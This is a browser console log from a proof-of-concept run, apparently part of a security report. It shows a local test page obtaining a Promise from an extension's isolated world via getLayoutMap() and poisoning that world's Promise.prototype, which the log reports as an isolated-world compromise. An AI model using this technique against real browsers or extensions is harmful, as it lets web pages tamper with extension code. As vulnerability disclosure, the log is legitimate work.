[393:393:0410/201911.420138:INFO:CONSOLE:3] "[content-script] isolated world loaded; chrome.runtime.id = chkhegdnmbhmcbelbldbpibnhinjjlpa", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/content_script.js (3) [393:393:0410/201911.427436:INFO:CONSOLE:12] "[page] isSecureContext = true", source: http://127.0.0.1:8080/poc.html (12) [393:393:0410/201911.427645:INFO:CONSOLE:10] "[content-script] called navigator.keyboard.getLayoutMap()", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/content_script.js (10) [393:393:0410/201911.427839:INFO:CONSOLE:12] "[page] leaked instanceof Promise (main world) : false", source: http://127.0.0.1:8080/poc.html (12) [393:393:0410/201911.427990:INFO:CONSOLE:12] "[page] leaked.constructor === Promise : false", source: http://127.0.0.1:8080/poc.html (12) [393:393:0410/201911.428203:INFO:CONSOLE:12] "[page] proto(leaked) === Promise.prototype : false", source: http://127.0.0.1:8080/poc.html (12) [393:393:0410/201911.428357:INFO:CONSOLE:12] "[page] iso Object.prototype === Object.prototype : false", source: http://127.0.0.1:8080/poc.html (12) [393:393:0410/201911.428554:INFO:CONSOLE:12] "[page] iso Function === Function : false", source: http://127.0.0.1:8080/poc.html (12) [393:393:0410/201911.428738:INFO:CONSOLE:12] "[page] ", source: http://127.0.0.1:8080/poc.html (12) [393:393:0410/201911.428931:INFO:CONSOLE:12] "[page] LEAK CONFIRMED: getLayoutMap() returned a v8::Promise from a different", source: http://127.0.0.1:8080/poc.html (12) [393:393:0410/201911.429112:INFO:CONSOLE:12] "[page] DOMWrapperWorld (the extension content-script isolated world).", source: http://127.0.0.1:8080/poc.html (12) [393:393:0410/201911.430360:INFO:CONSOLE:12] "[page] ", source: http://127.0.0.1:8080/poc.html (12) [393:393:0410/201911.430522:INFO:CONSOLE:12] "[page] Wrote marker onto isolated-world Promise.prototype.", source: http://127.0.0.1:8080/poc.html (12) [393:393:0410/201911.430726:INFO:CONSOLE:12] "[page] (The content-script will confirm it sees the marker via setTimeout.)", source: http://127.0.0.1:8080/poc.html (12) [393:393:0410/201911.430899:INFO:CONSOLE:12] "[page] isoFunction("...") threw (caught) : EvalError: Evaluating a string as JavaScript violates the following Content Security Policy directive because 'unsafe-eval' is not an allowed source of script: script-src 'self' 'wasm-unsafe-eval' 'inline-speculation-rules' http://localhost:* http://127.0.0.1:* chrome-extension://dba27a13-9df7-4afa-8114-6f38eb987f8f/". [393:393:0410/201911.431110:INFO:CONSOLE:12] "[page] (MV3 isolated-world CSP can block eval; eval-free prototype", source: http://127.0.0.1:8080/poc.html (12) [393:393:0410/201911.431263:INFO:CONSOLE:12] "[page] poisoning above already demonstrates the world-boundary bypass.)", source: http://127.0.0.1:8080/poc.html (12) [393:393:0410/201911.431448:INFO:CONSOLE:12] "[page] ", source: http://127.0.0.1:8080/poc.html (12) [393:393:0410/201911.431613:INFO:CONSOLE:12] "[page] === POC SUCCESS ===", source: http://127.0.0.1:8080/poc.html (12) [393:393:0410/201911.513475:INFO:CONSOLE:17] "[content-script] Promise.prototype.__POC_PAGE_WROTE_HERE__ = "main-world-was-here"", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/content_script.js (17) [393:393:0410/201911.513751:INFO:CONSOLE:20] "[content-script] *** ISOLATED WORLD COMPROMISED: page main world wrote to my Promise.prototype ***", source: chrome-extension://chkhegdnmbhmcbelbldbpibnhinjjlpa/content_script.js (20)